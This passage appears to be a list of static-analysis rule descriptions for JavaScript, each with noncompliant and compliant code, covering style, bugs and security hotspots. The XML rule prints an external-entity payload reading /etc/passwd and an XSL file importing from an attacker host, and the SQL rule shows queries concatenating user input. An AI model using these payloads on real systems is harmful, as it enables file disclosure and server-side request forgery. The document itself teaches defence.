  • export
  • extends
  • implements
  • import
  • interface
  • let
  • package
  • private
  • protected
  • public
  • static
  • super
  • yield

Use of these words as identifiers would produce an error in JavaScript strict mode code.

Noncompliant Code Example

var package = document.getElementsByName("foo"); // Noncompliant
var someData = { package: true };                 // Compliant, as it is not used as an identifier here

Compliant Solution

var elements = document.getElementsByName("foo"); // Compliant
javascript:S3827

When a non-existent variable is referenced a ReferenceError is raised.

Due to the dynamic nature of JavaScript this can happen in a number of scenarios:

  • When typo was made in a symbol's name.
  • When using variable declared with let or const before declaration (unlike var-declarations, they are not hoisted to the top of the scope).
  • Due to confusion with scopes of let- and const-declarations (they have block scope, unlike var-declarations, having function scope).
  • When accessing a property in the wrong scope (e.g. forgetting to specify this.).

This rule does not raise issues on global variables which are defined with sonar.javascript.globals and sonar.javascript.environments properties.

Noncompliant Code Example

var john = {
  firstName: "john",
  show: function() { console.log(firstName); } // Noncompliant: firstName is not defined
}
john.show();

Compliant Solution

var john = {
  firstName: "john",
  show: function() { console.log(this.firstName); }
}
john.show();
javascript:S1528

Array literals should always be preferred to Array constructors.

Array constructors are error-prone due to the way their arguments are interpreted. If more than one argument is used, the array length will be equal to the number of arguments. However, using a single argument will have one of three consequences:

  • If the argument is a number and it is a natural number the length will be equal to the value of the argument.
let arr = new Array(3); // [empty × 3]
  • If the argument is a number, but not a natural number an exception will be thrown.
let arr = new Array(3.14);  // RangeError: Invalid array length
  • Otherwise the array will have one element with the argument as its value.
let arr = new Array("3");  // ["3"]

Note that even if you set the length of an array, it will be empty. That is, it will have the number of elements you declared, but they won't contain anything, so no callbacks will be applied to the array elements.

For these reasons, if someone changes the code to pass 1 argument instead of 2 arguments, the array might not have the expected length. To avoid these kinds of weird cases, always use the more readable array literal initialization format.

Noncompliant Code Example

let myArray = new Array(x1, x2, x3);   // Noncompliant. Results in 3-element array.
let emptyArray = new Array();          // Noncompliant. Results in 0-element array.

let unstableArray = new Array(n);      // Noncompliant. Variable in results.

let arr = new Array(3); // Noncompliant; empty array of length 3
arr.foreach((x) => alert("Hello " + x)); // callback is not executed because there's nothing in arr
let anotherArr = arr.map(() => 42); // anotherArr is also empty because callback didn't execute

Compliant Solution

let myArray = [x1, x2, x3];
let emptyArray = [];

// if "n" is the only array element
let unstableArray = [n];
// or,  if "n" is the array length (since ES 2015)
let unstableArray = Array.from({length: n});

let arr = ["Elena", "Mike", "Sarah"];
arr.foreach((x) => alert("Hello " + x));
let anotherArr = arr.map(() => 42);  // anotherArr now holds 42 in each element
javascript:S2737

A catch clause that only rethrows the caught exception has the same effect as omitting the catch altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

try {
  doSomething();
} catch (ex) {  // Noncompliant
  throw ex;
}

Compliant Solution

try {
  doSomething();
} catch (ex) {
  console.err(ex);
  throw ex;
}

or

doSomething();
javascript:S1529

The bitwise operators &, | can be mistaken for the boolean operators && and ||.

This rule raises an issue when & or | is used in a boolean context.

Noncompliant Code Example

if (a & b) { ... } // Noncompliant; & used in error

Compliant Solution

if (a && b) { ... }

Exceptions

When a file contains other bitwise operations, (^, <<, >>>, >>, ~, &=, ^=, |=, <<=, >>=, >>>= and & or | used with a numeric literal as the right operand) all issues in the file are ignored, because it is evidence that bitwise operations are truly intended in the file.

javascript:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

function DoSomething(){...}  // Noncompliant

Compliant Solution

function doSomething(){...}
javascript:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names (and interfaces for TypeScript) match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class {...}

Compliant Solution

class MyClass {...}
javascript:S1763

Jump statements (return, break and continue) and throw expressions move control flow out of the current code block. So any statements that come after a jump are dead code.

Noncompliant Code Example

function fun(a) {
  var i = 10;
  return i + a;
  i++;             // Noncompliant; this is never executed
}

Compliant Solution

function fun(int a) {
  var i = 10;
  return i + a;
}

Exceptions

This rule ignores unreachable break statements in switch clauses.

switch (x) {
  case 42:
     return 43;
     break;   // Compliant
  default:
    doSomething();
}

Hoisted variables declarations without initialization are always considered reachable.

function bar() {
  return x = function() {
    x.foo = 42;
  }
  var x;
}

See

javascript:S5689

Disclosing technology fingerprints allows an attacker to gather information about the technologies used to develop the web application and to perform relevant security assessments more quickly (like the identification of known vulnerable components).

Ask Yourself Whether

  • The x-powered-by HTTP header or similar is used by the application.
  • Technologies used by the application are confidential and should not be easily guessed.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

It's recommended to not disclose technologies used on a website, with x-powered-by HTTP header for example.

In addition, it's better to completely disable this HTTP header rather than setting it a random value.

Sensitive Code Example

Express.js name is disclosed by default into the x-powered-by HTTP header:

let express = require('express');
let app = express(); // Sensitive

app.get('/', function (req, res) {
  res.send('hello')
});

Compliant Solution

x-powered-by HTTP header should be disabled in Express.js with app.disable or with helmet hidePoweredBy middleware:

let express = require('express');

let app1 = express();  // Compliant
app1.disable("x-powered-by");

let helmet = require("helmet");
let app2 = express(); // Compliant
app2.use(helmet.hidePoweredBy());

See

javascript:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Noncompliant Code Example

if (a == b && a == b) { // if the first one is true, the second one is too
  doX();
}
if (a > a) { // always false
  doW();
}

var j = 5 / 5; //always 1
var k = 5 - 5; //always 0

Exceptions

The specific case of testing one variable against itself is a valid test for NaN and is therefore ignored.

Similarly, left-shifting 1 onto 1 is common in the construction of bit masks, and is ignored.

Moreover comma operator , and instanceof operator are ignored as there are use-cases when there usage is valid.

if (f !== f) { // test for NaN value
  console.log("f is NaN");
}

var i = 1 << 1; // Compliant
var j = a << a; // Noncompliant

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
javascript:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Exceptions

To prevent generating some false-positives, literals having less than 10 characters are excluded as well as literals matching /^\w*$/. String literals inside import/export statements and JSX attributes are also ignored. The same goes for statement-like string literals, e.g. 'use strict';.

javascript:S3812

Mixing up the order of operations will almost always yield unexpected results.

Similarly, mis-applied negation will also yield bad results. For instance consider the difference between !key in dict and !(key in dict). The first looks for a boolean value (!key) in dict, and the other looks for a string and inverts the result. !obj instanceof SomeClass has the same problem.

This rule raises an issue when the left operand of an in or instanceof operator is negated.

Noncompliant Code Example

if (!"prop" in myObj) {  // Noncompliant;  "in" operator is checking property "false"
  doTheThing();  // this block will be never executed
}

if (!foo instanceof MyClass) {  // Noncompliant; "!foo" returns a boolean, which is not an instance of anything
  doTheOtherThing();  // this block is never executed
}

Compliant Solution

if (!("prop" in myObj)) {
  doTheThing();
}

if (!(foo instanceof MyClass)) {
  doTheOtherThing();
}
javascript:S1515

Defining a function inside of a loop can yield unexpected results. Such a function keeps references to the variables which are defined in outer scopes. All function instances created inside the loop therefore see the same values for these variables, which is probably not expected.

Noncompliant Code Example

var funs = [];
for (var i = 0; i < 13; i++) {
  funs[i] = function() { // Non-Compliant
    return i;
  };
}
console.log(funs[0]()); // 13 instead of 0
console.log(funs[1]()); // 13 instead of 1
console.log(funs[2]()); // 13 instead of 2
console.log(funs[3]()); // 13 instead of 3
...
javascript:S1516

Continuing a string across a linebreak is supported in most script engines, but it is not a part of ECMAScript. Additionally, the whitespace at the beginning of each line can't be safely stripped at compile time, and any whitespace after the slash will result in tricky errors.

Noncompliant Code Example

var myString = 'A rather long string of English text, an error message \
                actually that just keeps going and going -- an error \
                message to make the Energizer bunny blush (right through \
                those Schwarzenegger shades)! Where was I? Oh yes, \
                you\'ve got an error and all the extraneous whitespace is \
                just gravy.  Have a nice day.';  // Noncompliant

Compliant Solution

var myString = 'A rather long string of English text, an error message ' +
    'actually that just keeps going and going -- an error ' +
    'message to make the Energizer bunny blush (right through ' +
    'those Schwarzenegger shades)! Where was I? Oh yes, ' +
    'you\'ve got an error and all the extraneous whitespace is ' +
    'just gravy.  Have a nice day.';
javascript:S3498

When an already-defined variable is given the same name within a new object, object-shorthand syntax is preferred as being more compact. Similarly, object-shorthand is also preferred for the definition of functions in object literals.

Noncompliant Code Example

let a = 1;

let myObj = {
  a : a,  // Noncompliant
  fun: function () {  // Noncompliant
    //...
  }
}

Compliant Solution

let a = 1;

let myObj = {
  a,
  fun () {
    //...
  }
}
javascript:S1871

Having two cases in a switch statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch (i) {
  case 1:
    doFirstThing();
    doSomething();
    break;
  case 2:
    doSomethingDifferent();
    break;
  case 3:  // Noncompliant; duplicates case 1's implementation
    doFirstThing();
    doSomething();
    break;
  default:
    doTheRest();
}

if (a >= 0 && a < 10) {
  doFirstThing();
  doTheThing();
}
else if (a >= 10 && a < 20) {
  doTheOtherThing();
}
else if (a >= 20 && a < 50) {
  doFirstThing();
  doTheThing();  // Noncompliant; duplicates first condition
}
else {
  doTheRest();
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a switch statement that contain a single line of code with or without a following break.

if (a == 1) {
  doSomething();  //no issue, usually this is done on purpose to increase the readability
} else if (a == 2) {
  doSomethingElse();
} else {
  doSomething();
}

But this exception does not apply to if chains without else-s, or to switch-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of switch-es with default clauses, rule S3923 raises a bug.

if (a == 1) {
  doSomething();  //Noncompliant, this might have been done on purpose but probably not
} else if (a == 2) {
  doSomething();
}
javascript:S3499

Grouping all the shorthand declarations together in an object makes the declaration as a whole more readable. This rule accepts shorthand declarations grouped at either the beginning or end of an object.

Noncompliant Code Example

let obj1 = {
  foo,
  a: 1,
  color,  // Noncompliant
  b: 2,
  judyGarland  // Noncompliant
}

Compliant Solution

let obj1 = {
  foo,
  color,
  judyGarland,
  a: 1,
  b: 2
}

or

let obj1 = {
  a: 1,
  b: 2,
  foo,
  color,
  judyGarland
}
javascript:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.

At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or throw statements in a more appropriate way.

Noncompliant Code Example

for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once
  console.log("i is " + i);
  break;
}
...
for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once
  if (i == x) {
    break;
  } else {
    console.log("i is " + i);
    return;
  }
}

Compliant Solution

for (let i = 0; i < 10; i++) {
  console.log("i is " + i);
}
...
for (let i = 0; i < 10; i++) {
  if (i == x) {
    break;
  } else {
    console.log("i is " + i);
  }
}
javascript:S1994

It can be extremely confusing when a for loop's counter is incremented outside of its increment clause. In such cases, the increment should be moved to the loop's increment clause if at all possible.

Noncompliant Code Example

for (i = 0; i < 10; j++) { // Noncompliant
  // ...
  i++;
}

Compliant Solution

for (i = 0; i < 10; i++, j++) {
  // ...
}

Or

for (i = 0; i < 10; i++) {
  // ...
  j++;
}
javascript:S117

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule checks that all variable, property and parameter names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[_$A-Za-z][$A-Za-z0-9]*$|^[_$A-Z][_$A-Z0-9]+$:

const foo_bar = 1;
const baz_ = 2;

Compliant Solution

const fooBar = 1;
const _baz = 2;
javascript:S113

Some tools work better when files end with an empty line.

This rule simply generates an issue if it is missing.

For example, a Git diff looks like this if the empty line is missing at the end of the file:

+class Test {
+}
\ No newline at end of file
javascript:S1788

The ability to define default values for function parameters can make a function easier to use. Default parameter values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code.

But all function parameters with default values should be declared after the function parameters without default values. Otherwise, it makes it impossible for callers to take advantage of defaults; they must re-specify the defaulted values or pass undefined in order to "get to" the non-default parameters.

Noncompliant Code Example

function multiply(a = 1, b) {  // Noncompliant
  return a*b;
}

var x = multiply(42);  // returns NaN as b is undefined

Compliant Solution

function multiply(b, a = 1) {
  return a*b;
}

var x = multiply(42);  // returns 42 as expected
javascript:S3723

Modern browsers ignore unneeded, trailing commas, so there are no negatives to having them unless you're supporting an IE 8 application. Since they make adding new properties simpler, their use is preferred. This rule raises an issue when the last item in an object declaration or array declaration does not end with a trailing comma and does not lie on the same line as the closing curly brace or bracket.

Noncompliant Code Example

var joe = {
  fname: "Joe",
  lname: "Smith"      // Noncompliant
};

Compliant Solution

var joe = {
  fname: "Joe",
  lname: "Smith",    // OK
};

var joe = {
  fname: "Joe",
  lname: "Smith"};   // OK
javascript:S2755

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

Noncompliant Code Example

libxmljs module:

const libxmljs = require("libxmljs");
var fs = require('fs');

var xml = fs.readFileSync('xxe.xml', 'utf8');

var xmlDoc = libxmljs.parseXmlString(xml, { noblanks: true, noent: true, nocdata: true }); // Noncompliant: noent set to true

Compliant Solution

libxmljs module:

const libxmljs = require("libxmljs");
var fs = require('fs');

var xml = fs.readFileSync('xxe.xml', 'utf8');

var xmlDoc = libxmljs.parseXmlString(xml); // Compliant: noent set to false by default

See

javascript:S2999

The new keyword should only be used with objects that define a constructor function. Use it with anything else, and you'll get a TypeError because there won't be a constructor function for the new keyword to invoke.

Noncompliant Code Example

function MyClass() {
  this.foo = 'bar';
}

var someClass = 1;

var obj1 = new someClass;    // Noncompliant;
var obj2 = new MyClass();    // Noncompliant if considerJSDoc parameter set to true. Compliant when considerJSDoc=false

Compliant Solution

/**
 * @constructor
 */
function MyClass() {
  this.foo = 'bar';
}

var someClass = function(){
  this.prop = 1;
}

var obj1 = new someClass;  // Compliant
var obj2 = new MyClass();  // Compliant regardless of considerJSDoc value
javascript:S2757

The use of operators pairs (=+, =- or =!) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =- and =! are used without any space between the two operators and when there is at least one whitespace after.

Noncompliant Code Example

let target =-5;
let num = 3;

target =- num;  // Noncompliant; target = -3. Is that really what's meant?
target =+ num; // Noncompliant; target = 3

Compliant Solution

let target = -5;
let num = 3;

target = -num;  // Compliant; intent to assign inverse value of num is clear
target += num;
javascript:S4818

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

Sockets are vulnerable in multiple ways:

  • They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
  • The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

  • sockets are created without any limit every time a user performs an action.
  • input received from sockets is used without being sanitized.
  • sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
  • Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
  • Sanitize any input read from the socket.
  • Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

const net = require('net');

var socket = new net.Socket(); // Sensitive
socket.connect(80, 'google.com');

// net.createConnection creates a new net.Socket, initiates connection with socket.connect(), then returns the net.Socket that starts the connection
net.createConnection({ port: port }, () => {}); // Sensitive

// net.connect is an alias to net.createConnection
net.connect({ port: port }, () => {}); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

javascript:S4817

Executing XPATH expressions is security-sensitive. It has led in the past to the following vulnerabilities:

User provided data such as URL parameters should always be considered as untrusted and tainted. Constructing XPath expressions directly from tainted data enables attackers to inject specially crafted values that changes the initial meaning of the expression itself. Successful XPath injections attacks can read sensitive information from the XML document.

Ask Yourself Whether

  • the XPATH expression might contain some unsafe input coming from a user.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize any user input before using it in an XPATH expression.

Sensitive Code Example

// === Server side ===

var xpath = require('xpath');
var xmldom = require('xmldom');

var doc = new xmldom.DOMParser().parseFromString(xml);
var nodes = xpath.select(userinput, doc); // Sensitive
var node = xpath.select1(userinput, doc); // Sensitive
// === Client side ===

// Chrome, Firefox, Edge, Opera, and Safari use the evaluate() method to select nodes:
var nodes = document.evaluate(userinput, xmlDoc, null, XPathResult.ANY_TYPE, null); // Sensitive

// Internet Explorer uses its own methods to select nodes:
var nodes = xmlDoc.selectNodes(userinput); // Sensitive
var node = xmlDoc.SelectSingleNode(userinput); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

javascript:S2990

When the keyword this is used outside of an object, it refers to the global this object, which is the same thing as the window object in a standard web page. Such uses could be confusing to maintainers. Instead, simply drop the this, or replace it with window; it will have the same effect and be more readable.

Noncompliant Code Example

this.foo = 1;   // Noncompliant
console.log(this.foo); // Noncompliant

function MyObj() {
  this.foo = 1; // Compliant
}

MyObj.func1 = function() {
  if (this.foo == 1) { // Compliant
    // ...
  }
}

Compliant Solution

foo = 1;
console.log(foo);

function MyObj() {
  this.foo = 1;
}

MyObj.func1 = function() {
  if (this.foo == 1) {
    // ...
  }
}
javascript:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

foo(); bar(); // Noncompliant

Compliant Solution

foo();
bar();
javascript:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

* CVE-2018-9019

* CVE-2018-7318

* CVE-2017-5611

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice.

This rule raises an issue when any of the following NodeJS APIs are used:

  • mysql.query()
  • mysql2.query()
  • pg.query()
  • sequelize.query()

The following formatting methods will raise an issue:

  • "string" + "string" concatenation
  • `string ${var}` templates
  • string.concat()
  • string.replace()

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Avoid building queries manually using formatting technics. If you do it anyway, do not include user input in this building process.
  • Use parameterized queries, prepared statements, or stored procedures whenever possible.
  • You may also use ORM frameworks such as Hibernate which, if used correctly, reduce injection risks.
  • Avoid executing SQL queries containing unsafe input in stored procedures or functions.
  • Sanitize every unsafe input.

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

// === MySQL ===
const mysql = require('mysql');
const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db });
mycon.connect(function(err) {
  mycon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive
});

// === PostgreSQL ===
const pg = require('pg');
const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db });
pgcon.connect();
pgcon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive

Compliant Solution

// === MySQL ===
const mysql = require('mysql');
const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db });
mycon.connect(function(err) {
  mycon.query('SELECT name FROM users WHERE id = ?', [userinput], (err, res) => {});
});

// === PostgreSQL ===
const pg = require('pg');
const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db });
pgcon.connect();
pgcon.query('SELECT name FROM users WHERE id = $1', [userinput], (err, res) => {});

Exceptions

This rule's current implementation does not follow variables. It will only detect SQL queries which are formatted directly in the function call.

const sql = 'SELECT * FROM users WHERE id = ' + userinput;
mycon.query(sql, (err, res) => {}); // Sensitive but no issue is raised.

See

javascript:S2871

The default sort order is alphabetic, rather than numeric, regardless of the types in the array. Specifically, even if an array contains only numbers, all values in it will be converted to strings and sorted lexicographically, for an order like this: 1, 15, 2, 20, 5.

Fortunately the sort method allows you to pass an optional compare function to specify the sort order. When a compare function is supplied, the returned order depends on the return value of the compare function.

Noncompliant Code Example

var myarray = [80, 3, 9, 34, 23, 5, 1];

myarray.sort();
console.log(myarray); // outputs: [1, 23, 3, 34, 5, 80, 9]

Compliant Solution

var myarray = [80, 3, 9, 34, 23, 5, 1];

myarray.sort((a, b) => (a - b));
console.log(myarray); // outputs: [1, 3,  5, 9, 23, 34, 80]
javascript:S121

While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance.

Noncompliant Code Example

if (condition)  // Noncompliant
  executeSomething();

Compliant Solution

if (condition) {
  executeSomething();
}

See

  • CERT, EXP19-C. - Use braces for the body of an if, for, or while statement
  • CERT, EXP52-J. - Use braces for the body of an if, for, or while statement
javascript:S2870

The delete operator can be used to remove a property from any object. Arrays are objects, so the delete operator can be used here too, but if it is, a hole will be left in the array because the indexes/keys won't be shifted to reflect the deletion.

The proper method for removing an element at a certain index would be:

  • Array.prototype.splice - add/remove elements from the array
  • Array.prototype.pop - add/remove elements from the end of the array
  • Array.prototype.shift - add/remove elements from the beginning of the array

Noncompliant Code Example

var myArray = ['a', 'b', 'c', 'd'];

delete myArray[2];  // Noncompliant. myArray => ['a', 'b', undefined, 'd']
console.log(myArray[2]); // expected value was 'd' but output is undefined

Compliant Solution

var myArray = ['a', 'b', 'c', 'd'];

// removes 1 element from index 2
removed = myArray.splice(2, 1);  // myArray => ['a', 'b', 'd']
console.log(myArray[2]); // outputs 'd'
javascript:S1541

The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly.

javascript:S4139

If you have an iterable, such as an array, set, or list, your best option for looping through its values is the for of syntax. Use for in and you'll iterate the properties, rather than the values.

Noncompliant Code Example

const arr = [4, 3, 2, 1];

for (let value in arr) {  // Noncompliant
  console.log(value);  // logs 0, 1, 2, 3
}

Compliant Solution

const arr = [4, 3, 2, 1];

for (let value of arr) {
  console.log(value);
}
javascript:S1301

switch statements are useful when there are many different cases depending on the value of the same expression.

For just one or two cases however, the code will be more readable with if statements.

Noncompliant Code Example

switch (variable) {
  case 0:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Compliant Solution

if (variable == 0) {
  doSomething();
} else {
  doSomethingElse();
}
javascript:S4138

If you have an iterable, such as an array, set, or list, your best option for looping through its values is the for of syntax. Use a counter, and ... well you'll get the right behavior, but your code just isn't as clean or clear.

Noncompliant Code Example

const arr = [4, 3, 2, 1];

for (let i = 0; i < arr.length; i++) {  // Noncompliant
  console.log(arr[i]);
}

Compliant Solution

const arr = [4, 3, 2, 1];

for (let value of arr) {
  console.log(value);
}
javascript:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for (var i = 0; i < length; i++) {}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty. Moreover catch blocks are ignored.

javascript:S109

A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc.

Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time.

That is why magic numbers must be demystified by first being assigned to clearly named variables before being used.

-1, 0 and 1 are not considered magic numbers.

Noncompliant Code Example

function doSomething() {
  for (let i = 0; i < 4; i++) {    // Noncompliant, 4 is a magic number
    // ...
  }
}

Compliant Solution

function doSomething() {
  const numberOfCycles = 4;
  for (let i = 0; i < numberOfCycles; i++) {
    // ...
  }
}
javascript:S106

Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information, slowing down the browser, or even erroring-out the site for some users.

Noncompliant Code Example

console.log(password_entered); // Noncompliant

See

javascript:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

function doSomething(param1, param2, param3, param4, param5) {
...
}

Compliant Solution

function doSomething(param1, param2, param3, param4) {
...
}
javascript:S5693

Rejecting requests with significant content length is a good practice to control the network traffic intensity and thus resource consumption in order to prevents DoS attacks.

Ask Yourself Whether

  • size limits are not defined for the different resources of the web application.
  • the web application is not protected by rate limiting features.
  • the web application infrastructure has limited resources.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • For most of the features of an application, it is recommended to limit the size of requests to:
    • lower or equal to 8mb for file uploads.
    • lower or equal to 2mb for other requests.

It is recommended to customize the rule with the limit values that correspond to the web application.

Sensitive Code Example

formidable file upload module:

const form = new Formidable();
form.maxFileSize = 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB

const formDefault = new Formidable(); // Sensitive, the default value is 200MB

multer (Express.js middleware) file upload module:

let diskUpload = multer({
  storage: diskStorage,
  limits: {
    fileSize: 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB
  }
});

let diskUploadUnlimited = multer({ // Sensitive: the default value is no limit
  storage: diskStorage,
});

body-parser module:

// 4MB is more than the recommended limit of 2MB for non-file-upload requests
let jsonParser = bodyParser.json({ limit: "4mb" }); // Sensitive
let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "4mb" }); // Sensitive

Compliant Solution

formidable file upload module:

const form = new Formidable();
form.maxFileSize = 8000000; // Compliant: 8MB

multer (Express.js middleware) file upload module:

let diskUpload = multer({
  storage: diskStorage,
  limits: {
     fileSize: 8000000 // Compliant: 8MB
  }
});

body-parser module:

let jsonParser = bodyParser.json(); // Compliant, when the limit is not defined, the default value is set to 100kb
let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "2mb" }); // Compliant

See

javascript:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

javascript:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

javascript:S5691

Hidden files are created automatically by many tools to save user-preferences, well-known examples are .profile, .bashrc, .bash_history or .git. To simplify the view these files are not displayed by default using operating system commands like ls.

Outside of the user environment, hidden files are sensitive because they are used to store privacy-related information or even hard-coded secrets.

Ask Yourself Whether

  • Hidden files may have been inadvertently uploaded to the static server's public directory and it accepts requests to hidden files.
  • There is no business use cases linked to serve files in .name format but the server is not configured to reject requests to this type of files.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Disable the serving of hidden files.

Sensitive Code Example

Express.js serve-static middleware:

let serveStatic = require("serve-static");
let app = express();
let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'allow'});   // Sensitive
app.use(serveStaticMiddleware);

Compliant Solution

Express.js serve-static middleware:

let serveStatic = require("serve-static");
let app = express();
let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'ignore'});   // Compliant: ignore or deny are recommended values
let serveStaticDefault = serveStatic('public', { 'index': false});   // Compliant: by default, "dotfiles" (file or directory that begins with a dot) are not served (with the exception that files within a directory that begins with a dot are not ignored), see serve-static module documentation
app.use(serveStaticMiddleware);

See

javascript:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

javascript:S909

continue is an unstructured control flow statement. It makes code less testable, less readable and less maintainable. Structured control flow statements such as if should be used instead.

Noncompliant Code Example

  for (i = 0; i < 10; i++) {
    if (i == 5) {
      continue;  /* Noncompliant */
    }
    alert("i = " + i);
  }

Compliant Solution

  for (i = 0; i < 10; i++) {
    if (i != 5) {  /* Compliant */
      alert("i = " + i);
    }
  }
javascript:S905

Any statement (other than a null statement, which means a statement containing only a semicolon ;) which has no side effect and does not result in a change of control flow will normally indicate a programming error, and therefore should be refactored.

Noncompliant Code Example

a == 1; // Noncompliant; was assignment intended?
var msg = "Hello, "
  "World!"; // Noncompliant; have we forgotten '+' operator on previous line?

See

javascript:S1534

JavaScript allows duplicate property names in classes and object literals, but only the last instance of a duplicated name determines the actual value that will be used for it. Therefore, changing values of other occurrences of a duplicated name will have no effect and may cause misunderstandings and bugs.

Defining a class with a duplicated constructor will generate an error.

Before ECMAScript 2015, using duplicate names will generate an error in JavaScript strict mode code.

Noncompliant Code Example

var data = {
  "key": "value",
  "1": "value",
  "key": "value", // Noncompliant - duplicate of "key"
  'key': "value", // Noncompliant - duplicate of "key"
  key: "value", // Noncompliant - duplicate of "key"
  \u006bey: "value", // Noncompliant - duplicate of "key"
  "\u006bey": "value", // Noncompliant - duplicate of "key"
  "\x6bey": "value", // Noncompliant - duplicate of "key"
  1: "value" // Noncompliant - duplicate of "1"
